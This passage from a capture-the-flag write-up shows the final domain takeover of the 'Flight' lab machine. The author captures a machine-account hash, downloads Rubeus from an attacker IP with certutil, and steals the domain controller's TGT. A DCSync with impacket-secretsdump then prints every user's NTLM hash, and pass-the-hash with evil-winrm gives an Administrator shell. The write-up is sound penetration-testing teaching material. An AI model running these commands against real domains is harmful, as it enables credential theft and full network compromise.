[SMB] NTLMv2-SSP Hash : G0$::flight:1e589bf41238cf8e:547002306786919B6BB28F45BC6EEA4F:010100000000000080ADD9B1DBEAD801A1870276D7F4D729000000000200080052004F003500320001001E00570049004E002D00450046004B004A004B0059004500500037003900500004003400570049004E002D00450046004B004A004B005900450050003700390050002E0052004F00350032002E004C004F00430041004C000300140052004F00350032002E004C004F00430041004C000500140052004F00350032002E004C004F00430041004C000700080080ADD9B1DBEAD80106000400020000000800300030000000000000000000000000300000B1315E28BC96528147F3929B329DC4FE9D27ADEB96DF3BCF9F6C892CCB4443D80A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000
We see the account trying to authenticate is in fact the machine account flight\G0$
, although machine accounts have 120
character passwords so the hash wont crack like we’ve seen before. However, as our current appool user we can extract the TGT
of the DC account giving everything we need to impersonate the DC, simulate its the replication behaviour and extract all credential matter from the NTDS.DIT
!
First we need to request a useable TGT
for the g0$
account which we can do with the tgtdeleg
flag from Rubeus.
1
2
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/Rubeus.exe Rubeus.exe
c:\Windows\Tasks> .\Rubeus.exe tgtdeleg /nowrap
We can take this base64 encoded ticket.kirbi
contining the g0$ TGT
, remove whitespace, base64 decode it and save the TGT
on our kali machine in a admin.kirbi
file:
1
2
┌──(kali㉿kali)-[/Desktop]
└─$ echo "doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIEClx7+wuJDfX0XiwCDbnVErSvch3jJ250MdPKAGDPT4mZwfO4r7Zr5/ridry+Ou/1712Jh3LAYpuFjCvvsTw5QS1ADkh5dYFeCasD3y5gqGGADbdRoCpwFNWnR/3aklQuqu3SVKDN5OEXt+pSe6KWmzOQsSV+defxnaZSPNAhW3XXrlXeKbKUURFsr2PMmPtZEZsBuKVgl1jfeMJy3P3FtiWwJwp3AVTyb72FR9/zGq695oci7V+yjXpLfEFT7sGs37AHlC10kzsBYOQBfc5B16Isc/0cv6rWNa9Zq21jSQ5MJNcp73lT2fiwfWs2/CTtsawZX5h1tLK0OVtn763COXCPRY/y82szLx0r7/4nRaKxPO/nvdD1YIZdqZaS+dKorcyRLnSJ8vQMuWrGlQS9jeqvD0jS0BJf2jswhv5L28oRsM4A1HdslcwM9SJIFTnzbC6Wi+PxS/j7Hyul4pjvJj5WSEXfLKjUxirdD0TFysMaP7bxNmEMGQ5W+B9ZtsYeo4Ix3aGwJ8+gwR6aocBXkVq/cnCA9x7q77POZoIbT9cu67o7hNbLStCL7/qdbo3x88gFEA9MoUvvRVFuulceKlxV3FcEc1vWwuIaA24iGTnwccLWdyvGFvQHIldAo2YLBIL0mYF1LEPc1w1F8W2w987vTod+P7NV2T3GXlx1CKHTpCdAeOWsroVR8dJWy004XyabKImSM4WqgIh2T249HIO2K1I5YYHF5d2CgoMJ2nGZb4vg809Q5A72aXD1Kkw16G2EVP8zGyoCtd2AMZxjcsQv0WABEqAI8Vf7pAMSbmuGz1h3huBYtRkH9sLwpKPn1/gWqXER425eBhl33rdWWhURZc4JOd+GPJGfTLW5S2UZwEtaoApd7Th6RV17oQIgWnLRb2tuTVZnwxQfGFOrCN4uk3fGDaBfqy3XrBZF+NhutyXFl39rwTftwqga1bmCTEn8w033P7c+KelfM2lBjAQwuvBvkbn7NEg1KRluPPMy1xzGlJHY68hXl/URopvVpnizU0ho0OATgacCf9wTntCwUXreYFHtmwjaZ5fmpc+V+ipNUPY6P16DN/MkZGeCC/8zY1tmDyfAiPhebvZgwvvfUo1W9O/w8OLgoVdLs4+OBLyrkhj4WKfPEWdwgcTvx6RiYpWVvZNGsGzRs2GTNjbTicomekPxemXPTD1s+7+x+vwViCsRCAO4PBgeT8WREf24WRslkcS274uD+q+U/SvZSwY2kxCDd39ItKF3rckDN6JgoFkh18YfIVwo0eHCTstao4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgPQB3NB0fAP3X+SXqYk553KA1o9qahG3rzbkzIThULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDIzMDMwOTA0NTYwOFqmERgPMjAyMzAzMDkxNDU2MDhapxEYDzIwMjMwMzE2MDQ1NjA4WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC" | base64 -d > admin.kirbi
We can then convert the kerberos ticket from have the .kirbi
extension to .ccache
for use with impacket:
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ticketConverter ./admin.kirbi admin.ccache
After this, we simply set the KRB5CCNAME
environmental variable to the location of the .ccache
ticket in order to use the ticket from cache during Kerberos authentication.
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ export KRB5CCNAME=admin.ccache
Before interacting with Kerberos which uses timestamps as a crucial part of its protocol, to use our TGT
we have to make sure our clock skew is right with the flight.htb
time server, which we can do via the network time protocol with ntpdate
. Without this, our clock skew may be above the tolerance for computer clock synchronization causing a KRB_AP_ERR_SKEW
error as outlined in the Kerberos documentation.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ntpdate flight.htb
2023-04-04 20:23:59.936681 (-0400) +25199.741606 +/- 0.088713 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25199.741606
Lets also add g0.flight.htb
FQDN to our /etc/hosts
file in order to remotely resolve the host specified in our saved TGT
for g0$
via Kerberos.
1
10.129.69.182 flight.htb school.flight.htb g0.flight.htb
By default domain controllers replicate their data between each other, meaning as we have a TGT
of the DC g0$
, we can simulate this replication using secretsdump
to DCSync with the g0$
hash, extracting all the user password hashes from the NTDS.DIT
in the domain!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump g0.flight.htb -dc-ip flight.htb -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d:::
L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5:::
M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff:::
C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359:::
W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716:::
I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc:::
D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44:::
V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41:::
svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac:::
G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b:::
[*] Cleaning up...
We now have the NTLM hash for the Administrator
user: 43bbfc530bab76141b12c8446e30c17c
, meaning we can simply pass the NTLM hash to remotely login to a high integrity shell via WinRM
.
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i flight.htb -u administrator -H 43bbfc530bab76141b12c8446e30c17c
And we can see we completed the box!